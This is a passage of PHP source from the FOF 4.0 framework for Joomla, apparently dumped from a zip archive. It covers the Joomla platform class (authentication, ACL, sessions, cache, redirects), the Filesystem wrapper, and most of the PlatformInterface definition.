$dispatcher = $app->getDispatcher(); } catch (\UnexpectedValueException $exception) { return []; } if ($data instanceof Event) { $eventObject = $data; } elseif (\is_array($data)) { $eventObject = new Event($event, $data); } else { throw new \InvalidArgumentException('The plugin data must either be an event or an array'); } $result = $dispatcher->dispatch($event, $eventObject); return !isset($result['result']) || \is_null($result['result']) ? [] : $result['result']; } // No viable way to run the plugins :( return []; } else { return []; } } /** * Perform an ACL check. Please note that FOF uses by default the Joomla! * CMS convention for ACL privileges, e.g core.edit for the edit privilege. * If your platform uses different conventions you'll have to override the * FOF defaults using fof.xml or by specialising the controller. * * @param string $action The ACL privilege to check, e.g. core.edit * @param string|null $assetname The asset name to check, typically the component's name * * @return bool True if the user is allowed this action */ public function authorise(string $action, ?string $assetname = null): bool { if ($this->isCli()) { return true; } $ret = JoomlaFactory::getUser()->authorise($action, $assetname); // Work around Joomla returning null instead of false in some cases. return (bool) $ret; } /** * Is this the administrative section of the component? * * @return bool */ public function isBackend(): bool { [$isCli, $isAdmin, $isApi] = $this->isCliAdminApi(); return $isAdmin && !$isCli && !$isApi; } /** * Is this the public section of the component? * * @param bool $strict True to only confirm if we're under the 'site' client. False to confirm if we're under * either 'site' or 'api' client (both are front-end access). The default is false which * causes the method to return true when the application is either 'client' (HTML frontend) * or 'api' (JSON frontend). * * @return bool */ public function isFrontend(bool $strict = false): bool { [$isCli, $isAdmin, $isApi] = $this->isCliAdminApi(); if ($strict) { return !$isAdmin && !$isCli && !$isApi; } return !$isAdmin && !$isCli; } /** * Is this a component running in a CLI application? * * @return bool */ public function isCli(): bool { [$isCli, $isAdmin, $isApi] = $this->isCliAdminApi(); return !$isAdmin && !$isApi && $isCli; } /** * Is this a component running under the API application? * * @return bool */ public function isApi(): bool { [$isCli, $isAdmin, $isApi] = $this->isCliAdminApi(); return $isApi && !$isAdmin && !$isCli; } /** * Is the global FOF cache enabled? * * @return bool */ public function isGlobalFOFCacheEnabled(): bool { return !(defined('JDEBUG') && JDEBUG); } /** * Retrieves data from the cache. This is supposed to be used for system-side * FOF data, not application data. * * @param string $key The key of the data to retrieve * @param string|null $default The default value to return if the key is not found or the cache is not populated * * @return string|null The cached value */ public function getCache(string $key, ?string $default = null): ?string { $registry = $this->getCacheObject(); return $registry->get($key, $default); } /** * Saves something to the cache. This is supposed to be used for system-wide * FOF data, not application data. * * @param string $key The key of the data to save * @param string $content The actual data to save * * @return bool True on success */ public function setCache(string $key, string $content): bool { $registry = $this->getCacheObject(); $registry->set($key, $content); return $this->saveCache(); } /** * Clears the cache of system-wide FOF data. You are supposed to call this in * your components' installation script post-installation and post-upgrade * methods or whenever you are modifying the structure of database tables * accessed by FOF. Please note that FOF's cache never expires and is not * purged by Joomla!. You MUST use this method to manually purge the cache. * * @return bool True on success */ public function clearCache(): bool { $false = false; $cache = JoomlaFactory::getCache('fof', ''); return $cache->store($false, 'cache', 'fof'); } /** * Returns an object that holds the configuration of the current site. * * @return Registry * * @codeCoverageIgnore */ public function getConfig(): Registry { return JoomlaFactory::getConfig(); } /** * logs in a user * * @param array $authInfo Authentication information * * @return bool True on success */ public function loginUser(array $authInfo): bool { $options = ['remember' => false]; $response = new AuthenticationResponse(); $response->type = 'fof'; $response->status = Authentication::STATUS_FAILURE; if (isset($authInfo['username'])) { $authenticate = Authentication::getInstance(); $response = $authenticate->authenticate($authInfo, $options); } // Use our own authentication handler, onFOFUserAuthenticate, as a fallback if ($response->status != Authentication::STATUS_SUCCESS) { $this->container->platform->importPlugin('user'); $this->container->platform->importPlugin('fof'); $pluginResults = $this->container->platform->runPlugins('onFOFUserAuthenticate', [$authInfo, $options]); /** * Loop through all plugin results until we find a successful login. On failure we fall back to Joomla's * previous authentication response. */ foreach ($pluginResults as $result) { if (empty($result)) { continue; } if (!is_object($result) || !($result instanceof AuthenticationResponse)) { continue; } if ($result->status != Authentication::STATUS_SUCCESS) { continue; } $response = $result; break; } } // User failed to authenticate: maybe he enabled two factor authentication? // Let's try again "manually", skipping the check vs two factor auth // Due the big mess with encryption algorithms and libraries, we are doing this extra check only // if we're in Joomla 2.5.18+ or 3.2.1+ if ($response->status != Authentication::STATUS_SUCCESS && method_exists('\Joomla\CMS\User\UserHelper', 'verifyPassword')) { $db = JoomlaFactory::getDbo(); $query = $db->getQuery(true) ->select($db->qn(['id', 'password'])) ->from('#__users') ->where('username=' . $db->quote($authInfo['username'])); $result = $db->setQuery($query)->loadObject(); if ($result) { $match = UserHelper::verifyPassword($authInfo['password'], $result->password, $result->id); if ($match === true) { // Bring this in line with the rest of the system $user = $this->getUser($result->id); $response->email = $user->email; $response->fullname = $user->name; $response->language = $this->isBackend() ? $user->getParam('admin_language') : $user->getParam('language'); $response->status = Authentication::STATUS_SUCCESS; $response->error_message = ''; } } } if ($response->status == Authentication::STATUS_SUCCESS) { $this->importPlugin('user'); $results = $this->runPlugins('onLoginUser', [(array) $response, $options]); unset($results); // Just to make phpStorm happy $userid = UserHelper::getUserId($response->username); $user = $this->getUser($userid); $session = $this->container->session; $session->set('user', $user); return true; } return false; } /** * logs out a user * * @return bool True on success */ public function logoutUser(): bool { try { $app = JoomlaFactory::getApplication(); } catch (Exception $e) { return false; } $user = $this->getUser(); $options = ['remember' => false]; $parameters = [ 'username' => $user->username, 'id' => $user->id, ]; // Set clientid in the options array if it hasn't been set already and shared sessions are not enabled. if (!$app->get('shared_session', '0')) { $options['clientid'] = $app->getClientId(); } $ret = $app->triggerEvent('onUserLogout', [$parameters, $options]); return !in_array(false, $ret, true); } /** * Add a log file for FOF * * @param string $file * * @return void */ public function logAddLogger($file): void { Log::addLogger(['text_file' => $file], Log::ALL, ['fof']); } /** * Logs a deprecated practice. In Joomla! this results in the $message being output in the * deprecated log file, found in your site's log directory. * * @param string $message The deprecated practice log message * * @return void */ public function logDeprecated(string $message): void { Log::add($message, Log::WARNING, 'deprecated'); } /** * Adds a message to the application's debug log * * @param string $message * * @return void * * @codeCoverageIgnore */ public function logDebug(string $message): void { Log::add($message, Log::DEBUG, 'fof'); } /** @inheritDoc */ public function logUserAction($title, string $logText, string $extension, User $user = null): void { if (!is_string($title) && !is_array($title)) { throw new InvalidArgumentException(sprintf('%s::%s -- $title expects a string or an array', __CLASS__, __METHOD__)); } static $joomlaModelAdded = false; // User Actions Log is available only under Joomla 3.9+ if (version_compare(JVERSION, '3.9', 'lt')) { return; } // Do not perform logging if we're under CLI. Even if we _could_ have a logged user in CLI, ActionlogsModelActionlog // model always uses JoomlaFactory to fetch the current user, fetching data from the session. This means that under the CLI // (where there is no session) such session is started, causing warnings because usually output was already started before if ($this->isCli()) { return; } // Include required Joomla Model if (!$joomlaModelAdded) { BaseDatabaseModel::addIncludePath(JPATH_ROOT . '/administrator/components/com_actionlogs/models', 'ActionlogsModel'); $joomlaModelAdded = true; } $user = $this->getUser(); // No log for guest users if ($user->guest) { return; } $message = [ 'title' => $title, 'username' => $user->username, 'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id, ]; if (is_array($title)) { unset ($message['title']); $message = array_merge($message, $title); } /** @var ActionlogsModelActionlog $model * */ try { $model = BaseDatabaseModel::getInstance('Actionlog', 'ActionlogsModel'); $model->addLog([$message], $logText, $extension, $user->id); } catch (Exception $e) { // Ignore any error } } /** * Returns the root URI for the request. * * @param bool $pathonly If false, prepend the scheme, host and port information. Default is false. * @param string|null $path The path * * @return string The root URI string. * * @codeCoverageIgnore */ public function URIroot(bool $pathonly = false, ?string $path = null): string { return Uri::root($pathonly, $path); } /** * Returns the base URI for the request. * * @param bool $pathonly If false, prepend the scheme, host and port information. Default is false. * * @return string The base URI string */ public function URIbase(bool $pathonly = false): string { return Uri::base($pathonly); } /** * Method to set a response header. If the replace flag is set then all headers * with the given name will be replaced by the new one (only if the current platform supports header caching) * * @param string $name The name of the header to set. * @param string $value The value of the header to set. * @param bool $replace True to replace any headers with the same name. * * @return void * * @codeCoverageIgnore */ public function setHeader(string $name, string $value, bool $replace = false): void { try { JoomlaFactory::getApplication()->setHeader($name, $value, $replace); } catch (Exception $e) { return; } } /** * In platforms that perform header caching, send all headers. * * @return void * * @codeCoverageIgnore */ public function sendHeaders(): void { try { JoomlaFactory::getApplication()->sendHeaders(); } catch (Exception $e) { return; } } /** * Immediately terminate the containing application's execution * * @param int $code The result code which should be returned by the application * * @return void */ public function closeApplication(int $code = 0): void { // Necessary workaround for broken System - Page Cache plugin in Joomla! 3.7.0 $this->bugfixJoomlaCachePlugin(); try { JoomlaFactory::getApplication()->close($code); } catch (Exception $e) { exit($code); } } /** * Perform a redirection to a different page, optionally enqueuing a message for the user. * * @param string $url The URL to redirect to * @param int $status (optional) The HTTP redirection status code, default 303 (See Other) * @param string $msg (optional) A message to enqueue * @param string $type (optional) The message type, e.g. 'message' (default), 'warning' or 'error'. * * @return void */ public function redirect(string $url, int $status = 301, ?string $msg = null, string $type = 'message'): void { // Necessary workaround for broken System - Page Cache plugin in Joomla! 3.7.0 $this->bugfixJoomlaCachePlugin(); try { $app = JoomlaFactory::getApplication(); } catch (Exception $e) { die(sprintf('Please go to <a href="%s">%1$s</a>', $url)); } if (!empty($msg)) { if (empty($type)) { $type = 'message'; } $app->enqueueMessage($msg, $type); } // Joomla 4: redirecting to index.php in the backend takes you to the frontend. I need to address that. $isJoomla4 = version_compare(JVERSION, '3.999.999', 'gt'); $isBareIndex = substr($url, 0, 9) === 'index.php'; if ($isJoomla4 && $isBareIndex && $this->isBackend()) { $givenUri = new Uri($url); $newUri = new Uri(Uri::base()); $newUri->setQuery($givenUri->getQuery()); if ($givenUri->getFragment()) { $newUri->setFragment($givenUri->getFragment()); } $url = $newUri->toString(); } // Finally, do the redirection $app->redirect($url, $status); } /** * Handle an exception in a way that results to an error page. We use this under Joomla! to work around a bug in * Joomla! 3.7 which results in error pages leading to white pages because Joomla's System - Page Cache plugin is * broken. * * @param Exception $exception The exception to handle * * @throws Exception We rethrow the exception */ public function showErrorPage(Exception $exception): void { // Necessary workaround for broken System - Page Cache plugin in Joomla! 3.7.0 $this->bugfixJoomlaCachePlugin(); throw $exception; } /** * Set a variable in the user session * * @param string $name The name of the variable to set * @param string|null $value (optional) The value to set it to, default is null * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return void */ public function setSessionVar(string $name, $value = null, string $namespace = 'default'): void { // CLI if ($this->isCli() && !class_exists('FOFApplicationCLI')) { static::$fakeSession->set("$namespace.$name", $value); return; } // Joomla 3 if (version_compare(JVERSION, '3.9999.9999', 'le')) { $this->container->session->set($name, $value, $namespace); } // Joomla 4 if (empty($namespace)) { $this->container->session->set($name, $value); return; } $registry = $this->container->session->get('registry'); if (is_null($registry)) { $registry = new Registry(); $this->container->session->set('registry', $registry); } $registry->set($namespace . '.' . $name, $value); } /** * Get a variable from the user session * * @param string $name The name of the variable to set * @param string $default (optional) The default value to return if the variable does not exit, default: null * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return mixed */ public function getSessionVar(string $name, $default = null, $namespace = 'default') { // CLI if ($this->isCli() && !class_exists('FOFApplicationCLI')) { return static::$fakeSession->get("$namespace.$name", $default); } // Joomla 3 if (version_compare(JVERSION, '3.9999.9999', 'le')) { return $this->container->session->get($name, $default, $namespace); } // Joomla 4 if (empty($namespace)) { return $this->container->session->get($name, $default); } $registry = $this->container->session->get('registry'); if (is_null($registry)) { $registry = new Registry(); $this->container->session->set('registry', $registry); } return $registry->get($namespace . '.' . $name, $default); } /** * Unset a variable from the user session * * @param string $name The name of the variable to unset * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return void */ public function unsetSessionVar(string $name, string $namespace = 'default'): void { $this->setSessionVar($name, null, $namespace); } /** * Return the session token. Two types of tokens can be returned: * * Session token ($formToken == false): Used for anti-spam protection of forms. This is specific to a session * object. * * Form token ($formToken == true): A secure hash of the user ID with the session token. Both the session and the * user are fetched from the application container. * * @param bool $formToken Should I return a form token? * @param bool $forceNew Should I force the creation of a new token? * * @return mixed */ public function getToken(bool $formToken = false, bool $forceNew = false): string { // For CLI apps we implement our own fake token system if ($this->isCli()) { $token = $this->getSessionVar('session.token'); // Create a token if (is_null($token) || $forceNew) { $token = UserHelper::genRandomPassword(32); $this->setSessionVar('session.token', $token); } if (!$formToken) { return $token; } $user = $this->getUser(); return ApplicationHelper::getHash($user->id . $token); } // Web application, go through the regular Joomla! API. if ($formToken) { return Session::getFormToken($forceNew); } return $this->container->session->getToken($forceNew); } /** @inheritDoc */ public function addScriptOptions($key, $value, $merge = true) { /** @var HtmlDocument $document */ $document = $this->getDocument(); if (!method_exists($document, 'addScriptOptions')) { return; } $document->addScriptOptions($key, $value, $merge); } /** @inheritDoc */ public function getScriptOptions($key = null) { /** @var HtmlDocument $document */ $document = $this->getDocument(); if (!method_exists($document, 'getScriptOptions')) { return []; } return $document->getScriptOptions($key); } /** * Main function to detect if we're running in a CLI environment, if we're admin or if it's an API application * * @return array isCLI and isAdmin. It's not an associative array, so we can use list(). */ protected function isCliAdminApi(): array { if (is_null(static::$isCLI) && is_null(static::$isAdmin)) { static::$isCLI = false; static::$isAdmin = false; static::$isApi = false; try { if (is_null(JoomlaFactory::$application)) { static::$isCLI = true; static::$isAdmin = false; return [static::$isCLI, static::$isAdmin, static::$isApi]; } $app = JoomlaFactory::getApplication(); static::$isCLI = $app instanceof Exception || $app instanceof CliApplication; if (class_exists('Joomla\CMS\Application\CliApplication')) { static::$isCLI = static::$isCLI || $app instanceof JApplicationCli; } if (class_exists('Joomla\CMS\Application\ConsoleApplication')) { static::$isCLI = static::$isCLI || ($app instanceof ConsoleApplication); } } catch (Exception $e) { static::$isCLI = true; } if (static::$isCLI) { return [static::$isCLI, static::$isAdmin, static::$isApi]; } try { $app = JoomlaFactory::getApplication(); } catch (Exception $e) { return [static::$isCLI, static::$isAdmin, static::$isApi]; } if (method_exists($app, 'isAdmin')) { static::$isAdmin = $app->isAdmin(); } elseif (method_exists($app, 'isClient')) { static::$isAdmin = $app->isClient('administrator'); static::$isApi = $app->isClient('api'); } } return [static::$isCLI, static::$isAdmin, static::$isApi]; } /** * Gets a reference to the cache object, loading it from the disk if * needed. * * @param bool $force Should I forcibly reload the registry? * * @return Registry */ private function &getCacheObject(bool $force = false): Registry { // Check if we have to load the cache file or we are forced to do that if (is_null($this->_cache) || $force) { // Try to get data from Joomla!'s cache $cache = JoomlaFactory::getCache('fof', ''); $this->_cache = $cache->get('cache', 'fof'); $isRegistry = is_object($this->_cache); if ($isRegistry) { $isRegistry = $this->_cache instanceof Registry; } if (!$isRegistry) { // Create a new Registry object $this->_cache = new Registry(); } } return $this->_cache; } /** * Save the cache object back to disk * * @return bool True on success */ private function saveCache(): bool { // Get the Registry object of our cached data $registry = $this->getCacheObject(); $cache = JoomlaFactory::getCache('fof', ''); return $cache->store($registry, 'cache', 'fof'); } /** * Joomla! 3.7 has a broken System - Page Cache plugin. When this plugin is enabled it FORCES the caching of all * pages as soon as Joomla! starts loading, before the plugin has a chance to request to not be cached. Event worse, * in case of a redirection, it doesn't try to remove the cache lock. This means that the next request will be * treated as though the result of the page should be cached. Since there is NO cache content for the page Joomla! * returns an empty response with a 200 OK header. This will, of course, get in the way of every single attempt to * perform a redirection in the frontend of the site. * * @return void */ private function bugfixJoomlaCachePlugin(): void { // Only do something when the System - Cache plugin is activated if (!class_exists('PlgSystemCache')) { return; } // Forcibly uncache the current request $options = [ 'defaultgroup' => 'page', 'browsercache' => false, 'caching' => false, ]; $cache_key = Uri::getInstance()->toString(); Cache::getInstance('page', $options)->cache->remove($cache_key, 'page'); } } PK���\��$fof40/Platform/Joomla/Filesystem.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Platform\Joomla; defined('_JEXEC') || die; use FOF40\Platform\Base\Filesystem as BaseFilesystem; use Joomla\CMS\Filesystem\File; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\Filesystem\Path; /** * Abstraction for Joomla! filesystem API */ class Filesystem extends BaseFilesystem { /** * Does the file exists? * * @param $path string Path to the file to test * * @return bool */ public function fileExists(string $path): bool { return File::exists($path); } /** * Delete a file or array of files * * @param mixed $file The file name or an array of file names * * @return bool True on success * */ public function fileDelete($file): bool { if (!is_string($file) && !is_array($file)) { throw new \InvalidArgumentException(sprintf('%s::%s -- $file expects a string or an array', __CLASS__, __METHOD__)); } return File::delete($file); } /** * Copies a file * * @param string $src The path to the source file * @param string $dest The path to the destination file * @param string $path An optional base path to prefix to the file names * @param bool $use_streams True to use streams * * @return bool True on success */ public function fileCopy(string $src, string $dest, ?string $path = null, bool $use_streams = false): bool { return File::copy($src, $dest, $path, $use_streams); } /** * Write contents to a file * * @param string $file The full file path * @param string &$buffer The buffer to write * @param bool $use_streams Use streams * * @return bool True on success */ public function fileWrite(string $file, string &$buffer, bool $use_streams = false): bool { return File::write($file, $buffer, $use_streams); } /** * Checks for snooping outside of the file system root. * * @param string $path A file system path to check. * * @return string A cleaned version of the path or exit on error. * * @throws \Exception */ public function pathCheck(string $path): string { return Path::check($path); } /** * Function to strip additional / or \ in a path name. * * @param string $path The path to clean. * @param string $ds Directory separator (optional). * * @return string The cleaned path. * * @throws \UnexpectedValueException */ public function pathClean(string $path, string $ds = DIRECTORY_SEPARATOR): string { return Path::clean($path, $ds); } /** * Searches the directory paths for a given file. * * @param mixed $paths An path string or array of path strings to search in * @param string $file The file name to look for. * * @return string|null The full path and file name for the target file, or bool false if the file is not found * in any of the paths. */ public function pathFind($paths, string $file): ?string { if (!is_string($paths) && !is_array($paths)) { throw new \InvalidArgumentException(sprintf('%s::%s -- $paths expects a string or an array', __CLASS__, __METHOD__)); } $ret = Path::find($paths, $file); if (($ret === false) || ($ret === '')) { return null; } return $ret; } /** * Wrapper for the standard file_exists function * * @param string $path Folder name relative to installation dir * * @return bool True if path is a folder */ public function folderExists(string $path): bool { try { return Folder::exists($path); } catch (\Exception $e) { return false; } } /** * Utility function to read the files in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for file names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the * maximum depth. * @param bool $full True to return the full path to the file. * @param array $exclude Array with names of files which should not be shown in the result. * @param array $excludefilter Array of filter to exclude * @param bool $naturalSort False for asort, true for natsort * @param bool $naturalSort False for asort, true for natsort * * @return array Files in the given folder. */ public function folderFiles(string $path, string $filter = '.', bool $recurse = false, bool $full = false, array $exclude = [ '.svn', 'CVS', '.DS_Store', '__MACOSX', ], array $excludefilter = ['^\..*', '.*~'], bool $naturalSort = false): array { // JFolder throws nonsense errors if the path is not a folder try { $path = Path::clean($path); } catch (\Exception $e) { return []; } if (!@is_dir($path)) { return []; } // Now call JFolder return Folder::files($path, $filter, $recurse, $full, $exclude, $excludefilter, $naturalSort); } /** * Utility function to read the folders in a folder. * * @param string $path The path of the folder to read. * @param string $filter A filter for folder names. * @param mixed $recurse True to recursively search into sub-folders, or an integer to specify the * maximum depth. * @param bool $full True to return the full path to the folders. * @param array $exclude Array with names of folders which should not be shown in the result. * @param array $excludefilter Array with regular expressions matching folders which should not be shown in * the result. * * @return array Folders in the given folder. */ public function folderFolders(string $path, string $filter = '.', bool $recurse = false, bool $full = false, array $exclude = [ '.svn', 'CVS', '.DS_Store', '__MACOSX', ], array $excludefilter = ['^\..*']): array { // JFolder throws idiotic errors if the path is not a folder try { $path = Path::clean($path); } catch (\Exception $e) { return []; } if (!@is_dir($path)) { return []; } // Now call JFolder return Folder::folders($path, $filter, $recurse, $full, $exclude, $excludefilter); } /** * Create a folder -- and all necessary parent folders. * * @param string $path A path to create from the base path. * @param integer $mode Directory permissions to set for folders created. 0755 by default. * * @return bool True if successful. */ public function folderCreate(string $path = '', int $mode = 0755): bool { return Folder::create($path, $mode); } } PK���\����II$fof40/Platform/PlatformInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Platform; defined('_JEXEC') || die; use DateTimeZone; use Exception; use FOF40\Container\Container; use FOF40\Date\Date; use FOF40\Input\Input; use JDatabaseDriver; use Joomla\CMS\Document\Document; use Joomla\CMS\Language\Language; use Joomla\CMS\User\User; use Joomla\Registry\Registry; use JsonSerializable; /** * Part of the FOF Platform Abstraction Layer. It implements everything that * depends on the platform FOF is running under, e.g. the Joomla! CMS front-end, * the Joomla! CMS back-end, a CLI Joomla! Platform app, a bespoke Joomla! * Platform / Framework web application and so on. */ interface PlatformInterface { /** * Public constructor. * * @param Container $c The component container */ public function __construct(Container $c); /** * Checks if the current script is run inside a valid CMS execution * * @return bool */ public function checkExecution(): bool; /** * Raises an error, using the logic requested by the CMS (PHP Exception or dedicated class) * * @param integer $code * @param string $message * * @return void * * @throws Exception * * @deprecated 5.0 */ public function raiseError(int $code, string $message): void; /** * Returns the version number string of the CMS/application we're running in * * @return string * * @since 2.1.2 */ public function getPlatformVersion(): string; /** * Returns absolute path to directories used by the containing CMS/application. * * The return is a table with the following key: * * root Path to the site root * * public Path to the public area of the site * * admin Path to the administrative area of the site * * tmp Path to the temp directory * * log Path to the log directory * * @return array A hash array with keys root, public, admin, tmp and log. */ public function getPlatformBaseDirs(): array; /** * Returns the base (root) directories for a given component, i.e the application * which is running inside our main application (CMS, web app). * * The return is a table with the following keys: * * main The normal location of component files. For a back-end Joomla! * component this is the administrator/components/com_example * directory. * * alt The alternate location of component files. For a back-end * Joomla! component this is the front-end directory, e.g. * components/com_example * * site The location of the component files serving the public part of * the application. * * admin The location of the component files serving the administrative * part of the application. * * All paths MUST be absolute. All four paths MAY be the same if the * platform doesn't make a distinction between public and private parts, * or when the component does not provide both a public and private part. * All of the directories MUST be defined and non-empty. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return array A hash array with keys main, alt, site and admin. */ public function getComponentBaseDirs(string $component): array; /** * Returns the application's template name * * @param null|array $params An optional associative array of configuration settings * * @return string The template name. "system" is the fallback. */ public function getTemplate(?array $params = null): string; /** * Get application-specific suffixes to use with template paths. This allows * you to look for view template overrides based on the application version. * * @return array A plain array of suffixes to try in template names */ public function getTemplateSuffixes(): array; /** * Return the absolute path to the application's template overrides * directory for a specific component. We will use it to look for template * files instead of the regular component directories. If the application * does not have such a thing as template overrides return an empty string. * * @param string $component The name of the component for which to fetch the overrides * @param bool $absolute Should I return an absolute or relative path? * * @return string The path to the template overrides directory */ public function getTemplateOverridePath(string $component, bool $absolute = true): string; /** * Load the translation files for a given component. * * @param string $component The name of the component, e.g. "com_example" * * @return void */ public function loadTranslations(string $component): void; /** * By default FOF will only use the Controller's onBefore* methods to * perform user authorisation. In some cases, like the Joomla! back-end, * you also need to perform component-wide user authorisation in the * Dispatcher. This method MUST implement this authorisation check. If you * do not need this in your platform, please always return true. * * @param string $component The name of the component. * * @return bool True to allow loading the component, false to halt loading */ public function authorizeAdmin(string $component): bool; /** * This method will try retrieving a variable from the request (input) data. * If it doesn't exist it will be loaded from the user state, typically * stored in the session. If it doesn't exist there either, the $default * value will be used. If $setUserState is set to true, the retrieved * variable will be stored in the user session. * * @param string $key The user state key for the variable * @param string $request The request variable name for the variable * @param Input $input The Input object with the request (input) data * @param mixed $default The default value. Default: null * @param string $type The filter type for the variable data. Default: none (no filtering) * @param bool $setUserState Should I set the user state with the fetched value? * * @return mixed The value of the variable */ public function getUserStateFromRequest(string $key, string $request, Input $input, $default = null, string $type = 'none', bool $setUserState = true); /** * Load plugins of a specific type. Obviously this seems to only be required * in the Joomla! CMS itself. * * @param string $type The type of the plugins to be loaded * * @return void */ public function importPlugin(string $type): void; /** * Execute plugins (system-level triggers) and fetch back an array with * their return values. * * @param string $event The event (trigger) name, e.g. onBeforeScratchMyEar * @param array $data A hash array of data sent to the plugins as part of the trigger * * @return array A simple array containing the results of the plugins triggered */ public function runPlugins(string $event, array $data = []): array; /** * Perform an ACL check. Please note that FOF uses by default the Joomla! * CMS convention for ACL privileges, e.g core.edit for the edit privilege. * If your platform uses different conventions you'll have to override the * FOF defaults using fof.xml or by specialising the controller. * * @param string $action The ACL privilege to check, e.g. core.edit * @param string|null $assetname The asset name to check, typically the component's name * * @return bool True if the user is allowed this action */ public function authorise(string $action, ?string $assetname = null): bool; /** * Returns a user object. * * @param integer $id The user ID to load. Skip or use null to retrieve * the object for the currently logged in user. * * @return User The User object for the specified user */ public function getUser(?int $id = null): User; /** * Returns the Document object which handles this component's response. You * may also return null and FOF will a. try to figure out the output type by * examining the "format" input parameter (or fall back to "html") and b. * FOF will not attempt to load CSS and Javascript files (as it doesn't make * sense if there's no Document to handle them). * * @return Document|null */ public function getDocument(): ?Document; /** * Returns an object to handle dates * * @param mixed $time The initial time * @param DateTimeZone|string|null $tzOffset The timezone offset * @param bool $locale Should I try to load a specific class for current language? * * @return Date object */ public function getDate(?string $time = 'now', $tzOffset = null, $locale = true): Date; /** * Return the Language instance of the CMS/application * * @return Language */ public function getLanguage(): Language; /** * Returns the database driver object of the CMS/application * * @return JDatabaseDriver */ public function getDbo(): JDatabaseDriver; /** * Is this the administrative section of the component? * * @return bool */ public function isBackend(): bool; /** * Is this the public section of the component? * * @param bool $strict True to only confirm if we're under the 'site' client. False to confirm if we're under * either 'site' or 'api' client (both are front-end access). The default is false which * causes the method to return true when the application is either 'client' (HTML frontend) * or 'api' (JSON frontend). * * @return bool */ public function isFrontend(bool $strict = false): bool; /** * Is this a component running in a CLI application? * * @return bool */ public function isCli(): bool; /** * Is this a component running in an API application? * * @return bool */ public function isApi(): bool; /** * Saves something to the cache. This is supposed to be used for system-wide * FOF data, not application data. * * @param string $key The key of the data to save * @param string $content The actual data to save * * @return bool True on success */ public function setCache(string $key, string $content): bool; /** * Retrieves data from the cache. This is supposed to be used for system-side * FOF data, not application data. * * @param string $key The key of the data to retrieve * @param string|null $default The default value to return if the key is not found or the cache is not populated * * @return string|null The cached value */ public function getCache(string $key, ?string $default = null): ?string; /** * Clears the cache of system-wide FOF data. You are supposed to call this in * your components' installation script post-installation and post-upgrade * methods or whenever you are modifying the structure of database tables * accessed by FOF. Please note that FOF's cache never expires and is not * purged by Joomla!. You MUST use this method to manually purge the cache. * * @return bool True on success */ public function clearCache(): bool; /** * Returns an object that holds the configuration of the current site. * * @return Registry */ public function getConfig(): Registry; /** * Is the global FOF cache enabled? * * @return bool */ public function isGlobalFOFCacheEnabled(): bool; /** * logs in a user * * @param array $authInfo Authentication information * * @return bool True on success */ public function loginUser(array $authInfo): bool; /** * logs out a user * * @return bool True on success */ public function logoutUser(): bool; /** * Add a log file for FOF * * @param string $file * * @return void */ public function logAddLogger($file): void; /** * Logs a deprecated practice. In Joomla! this results in the $message being output in the * deprecated log file, found in your site's log directory. * * @param string $message The deprecated practice log message * * @return void */ public function logDeprecated(string $message): void; /** * Adds a message to the application's debug log * * @param string $message * * @return void */ public function logDebug(string $message): void; /** * Adds a message * * @param string|array $title A title, or an array of additional fields to add to the log entry * @param string $logText The translation key to the log text * @param string $extension The name of the extension logging this entry * @param User|null $user The user the action is being logged for * * @return void */ public function logUserAction($title, string $logText, string $extension, User $user = null): void; /** * Returns the root URI for the request. * * @param bool $pathonly If false, prepend the scheme, host and port information. Default is false. * @param string|null $path The path * * @return string The root URI string. */ public function URIroot(bool $pathonly = false, ?string $path = null): string; /** * Returns the base URI for the request. * * @param bool $pathonly If false, prepend the scheme, host and port information. Default is false. * * @return string The base URI string */ public function URIbase(bool $pathonly = false): string; /** * Method to set a response header. If the replace flag is set then all headers * with the given name will be replaced by the new one (only if the current platform supports header caching) * * @param string $name The name of the header to set. * @param string $value The value of the header to set. * @param bool $replace True to replace any headers with the same name. * * @return void */ public function setHeader(string $name, string $value, bool $replace = false): void; /** * In platforms that perform header caching, send all headers. * * @return void */ public function sendHeaders(): void; /** * Immediately terminate the containing application's execution * * @param int $code The result code which should be returned by the application * * @return void */ public function closeApplication(int $code = 0): void; /** * Perform a redirection to a different page, optionally enqueuing a message for the user. * * @param string $url The URL to redirect to * @param int $status (optional) The HTTP redirection status code, default 301 * @param string $msg (optional) A message to enqueue * @param string $type (optional) The message type, e.g. 'message' (default), 'warning' or 'error'. * * @return void */ public function redirect(string $url, int $status = 301, ?string $msg = null, string $type = 'message'): void; /** * Handle an exception in a way that results to an error page. * * @param Exception $exception The exception to handle * * @throws Exception Possibly rethrown exception */ public function showErrorPage(Exception $exception): void; /** * Set a variable in the user session * * @param string $name The name of the variable to set * @param mixed $value (optional) The value to set it to, default is null * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return void */ public function setSessionVar(string $name, $value = null, string $namespace = 'default'): void; /** * Get a variable from the user session * * @param string $name The name of the variable to set * @param mixed $default (optional) The default value to return if the variable does not exit, default: null * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return mixed */ public function getSessionVar(string $name, $default = null, $namespace = 'default'); /** * Unset a variable from the user session * * @param string $name The name of the variable to unset * @param string $namespace (optional) The variable's namespace e.g. the component name. Default: 'default' * * @return void */ public function unsetSessionVar(string $name, string $namespace = 'default'): void; /** * Return the session token. Two types of tokens can be returned: * * Session token ($formToken == false): Used for anti-spam protection of forms. This is specific to a session * object. * * Form token ($formToken == true): A secure hash of the user ID with the session token. Both the session and the * user are fetched from the application container. * * @param bool $formToken Should I return a form token? * @param bool $forceNew Should I force the creation of a new token? * * @return mixed */ public function getToken(bool $formToken = false, bool $forceNew = false): string; /** * Are plugins allowed to run in CLI mode? * * @return bool */ public function isAllowPluginsInCli(): bool; /** * Set whether plugins are allowed to run in CLI mode * * @param bool $allowPluginsInCli */ public function setAllowPluginsInCli(bool 